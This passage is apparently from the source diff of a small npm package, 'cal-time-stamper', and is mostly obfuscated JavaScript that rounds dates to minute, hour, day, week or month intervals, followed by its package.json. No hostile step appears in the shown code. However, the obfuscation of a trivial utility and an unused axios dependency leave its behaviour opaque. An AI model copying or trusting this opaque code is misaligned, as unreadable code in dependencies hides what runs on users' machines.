_0x5c1074==_0x20f9f5;},_0x342645['TaTQB']=_0x1ae9ff('0x153'),_0x342645[_0x2602c1('0x125')]=_0x1ae9ff('0x160'),_0x342645[_0x1ae9ff('0x128')]=function(_0x5f54e9,_0x1f72c7){return _0x5f54e9-_0x1f72c7;};const _0x5aa3b2=_0x342645;!time_intervals[_0x2602c1('0x14a')](_0x4180a7)&&(_0x4180a7='1m');const _0x3924aa=_0x5aa3b2[_0x2602c1('0x11d')](_0x5445e7,null)?new Date(_0x5445e7):new Date(),_0x2d9f75=-0x8616*0x3+0x178b9+0x103e9;let _0x1627f7=0x53*-0xe+0x11a+-0x50*-0xb;_0x3924aa['setUTCMill'+_0x2602c1('0x13d')](0x8f4*0x2+-0x22af+0x5*0x35b),_0x3924aa[_0x1ae9ff('0x19c')+'nds'](0xf41+0x2*0xa8b+-0x2457);if(_0x4180a7[_0x2602c1('0x14a')]('m')){let _0x55344b=_0x3924aa[_0x2602c1('0x167')+_0x2602c1('0x179')](),_0x47fe1e=_0x5aa3b2['scglR'](_0x55344b,time_divider[_0x4180a7]);_0x55344b=exactMath['sub'](_0x55344b,_0x47fe1e),_0x3924aa['setUTCMinu'+_0x1ae9ff('0x179')](_0x55344b),_0x1627f7=time_divider[_0x4180a7];}else{if(_0x5aa3b2[_0x2602c1('0x115')](_0x5aa3b2[_0x1ae9ff('0x12e')],_0x5aa3b2[_0x1ae9ff('0x12e')]))_0x3924aa['setUTCMinu'+'tes'](-0xb87+0x3c1+0x7c6);else{let _0x918ad7=new _0x69994d(_0x490248['message']);return _0x918ad7;}}if(_0x4180a7[_0x2602c1('0x14a')]('h')){if(_0x5aa3b2[_0x1ae9ff('0x176')](_0x5aa3b2[_0x2602c1('0x12a')],_0x2602c1('0x16d')))_0x383153['setUTCMinu'+'tes'](0x1d3d+-0x936+0x3*-0x6ad);else{let _0x5bc1d5=_0x3924aa['getUTCHour'+'s'](),_0x33d134=_0x5aa3b2[_0x1ae9ff('0x117')](_0x5bc1d5,time_divider[_0x4180a7]);_0x5bc1d5=exactMath[_0x1ae9ff('0x118')](_0x5bc1d5,_0x33d134),_0x3924aa[_0x2602c1('0x154')+'s'](_0x5bc1d5),_0x1627f7=exactMath[_0x1ae9ff('0x135')](time_divider[_0x4180a7],-0x29d*0xc+0x12bb*0x1+0xcdd);}}_0x4180a7=='1d'&&(_0x3924aa[_0x2602c1('0x154')+'s'](0x25a8+0x1fef+0x7*-0x9f1),_0x1627f7=exactMath['mul'](-0x2283+-0x1a7+0x6*0x60b,0x1d91+0x45e+0x1*-0x21b3));if(_0x5aa3b2[_0x2602c1('0x16c')](_0x4180a7,'1w')){if(_0x5aa3b2['TaTQB']===_0x5aa3b2['hFUll'])try{return _0x20a65e[_0x1ae9ff('0x16e')](..._0x29c3d2,_0x2b41f9);}catch(_0x1ff5b1){let _0x311844=new _0x1c25de(_0x1ff5b1[_0x1ae9ff('0x11f')]);return _0x311844;}else{_0x3924aa[_0x2602c1('0x154')+'s'](0xde+0x245f+0x253d*-0x1);let _0x1fef2b=_0x3924aa[_0x1ae9ff('0x197')](),_0x58d714=_0x3924aa[_0x1ae9ff('0x15e')](),_0x551cf0=exactMath[_0x2602c1('0x118')](_0x1fef2b,_0x5aa3b2['SLxjE'](_0x58d714,-0xff*0x23+-0xf11+0x31ef));_0x3924aa[_0x1ae9ff('0x199')](_0x551cf0),_0x1627f7=exactMath[_0x2602c1('0x135')](-0x2da+0x113e*-0x1+0x10*0x143,-0x1ec5*-0x1+0x2518+-0x43a1,-0x1*-0x32+0xab5+-0x2*0x570);}}if(_0x4180a7=='1M'){_0x3924aa[_0x2602c1('0x154')+'s'](-0x1696*-0x1+-0x2139*-0x1+-0x37cf),_0x3924aa['setUTCDate'](0x1232*0x2+-0x1e2c+-0x637);let _0x337813=new Date(_0x3924aa[_0x2602c1('0x175')+'r'](),_0x3924aa[_0x2602c1('0x17b')+'h']()+(-0xc9b+-0x25d8+-0x1*-0x3274))['getUTCDate']();_0x1627f7=exactMath[_0x2602c1('0x135')](0x562+-0x167f+-0x371*-0x5,-0x57*0xb+0x4fd*-0x1+-0x1f*-0x4a,_0x337813);}_0x1627f7=exactMath[_0x1ae9ff('0x118')](exactMath[_0x2602c1('0x135')](_0x1627f7,_0x2d9f75),-0xac9+0x61b*-0x3+0x1d1b),_0x5445e7=_0x3924aa[_0x2602c1('0x172')]();let _0x595e0b=exactMath['add'](_0x5445e7,_0x1627f7);const _0x5675c5={};return _0x5675c5[_0x2602c1('0x12b')]=_0x5445e7,_0x5675c5[_0x1ae9ff('0x143')]=_0x595e0b,_0x5675c5['time_diff']=_0x1627f7,_0x5675c5;},get_1m_TimeStamp=()=>{const _0x476166=_0x473b65,_0x1d743b=_0x473b65,_0x9d8292=new Date(),_0x29878f=0x2*0xc0f7+0x5f3a+-0xf6c8*0x1-(0x136f+0x1*0x12+-0x1380);_0x9d8292[_0x476166('0x11e')+_0x1d743b('0x13d')](0x3*0xadd+-0x13c9+0x667*-0x2),_0x9d8292[_0x1d743b('0x19c')+_0x476166('0x181')](0x805+0x2188+-0x298d);let _0x5b8033=_0x9d8292[_0x1d743b('0x172')](),_0x3e4838=exactMath[_0x1d743b('0x16b')](_0x5b8033,_0x29878f);const _0x751da1={};return _0x751da1[_0x476166('0x12b')]=_0x5b8033,_0x751da1[_0x1d743b('0x143')]=_0x3e4838,_0x751da1;},_0x17bbe4={};_0x17bbe4[_0x473b65('0x14c')+'vals']=time_intervals,_0x17bbe4[_0x473b65('0x140')+'mp']=getTimeStamp,_0x17bbe4[_0x2742c3('0x17d')+_0x2742c3('0x184')]=get_1m_TimeStamp;let TimeStamper=_0x17bbe4;
|
|
10
|
+
|
|
11
|
+
export let CL = Calculator ;
|
|
12
|
+
export let TI = TimeInterval ;
|
|
13
|
+
export let TS = TimeStamper ;
|
package/package.json
ADDED
|
@@ -0,0 +1,27 @@
|
|
|
1
|
+
{
|
|
2
|
+
"name": "cal-time-stamper",
|
|
3
|
+
"version": "1.0.0",
|
|
4
|
+
"description": "Time Stamps And Intervals",
|
|
5
|
+
"main": "index.js",
|
|
6
|
+
"scripts": {
|
|
7
|
+
"test": "echo \"Error: no test specified\" && exit 1"
|
|
8
|
+
},
|
|
9
|
+
"repository": {
|
|
10
|
+
"type": "git",
|
|
11
|
+
"url": "git+https://gitlab.com/raman_987/time-stamper.git"
|
|
12
|
+
},
|
|
13
|
+
"keywords": [
|
|
14
|
+
"Time-Stamper"
|
|
15
|
+
],
|
|
16
|
+
"author": "Ramandeep Singh",
|
|
17
|
+
"license": "ISC",
|
|
18
|
+
"bugs": {
|
|
19
|
+
"url": "https://gitlab.com/raman_987/time-stamper/issues"
|
|
20
|
+
},
|
|
21
|
+
"homepage": "https://gitlab.com/raman_987/time-stamper#readme",
|
|
22
|
+
"type": "module",
|
|
23
|
+
"dependencies": {
|
|
24
|
+
"axios": "^0.27.2",
|
|
25
|
+
"exact-math": "^2.2.3"
|
|
26
|
+
}
|
|
27
|
+
}
|